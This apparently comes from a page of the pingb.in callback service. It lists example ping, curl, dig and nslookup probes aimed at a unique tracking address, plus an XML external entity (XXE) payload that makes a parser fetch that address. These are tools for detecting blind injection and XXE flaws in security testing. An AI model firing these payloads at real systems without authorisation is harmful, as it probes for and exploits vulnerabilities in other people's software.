$ ping -c1 -p 00fd8ca1b9117bdfa3f926f11bd20400 pingb.in
 

$ curl pingb.in/p/fd8ca1b9117bdfa3f926f11bd204
 

$ dig fd8ca1b9117bdfa3f926f11bd204 @pingb.in
 

$ dig fd8ca1b9117bdfa3f926f11bd204.ns.pingb.in
 

C:\> nslookup fd8ca1b9117bdfa3f926f11bd204 pingb.in
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/fd8ca1b9117bdfa3f926f11bd204">]>
    <foo>&xxe;</foo>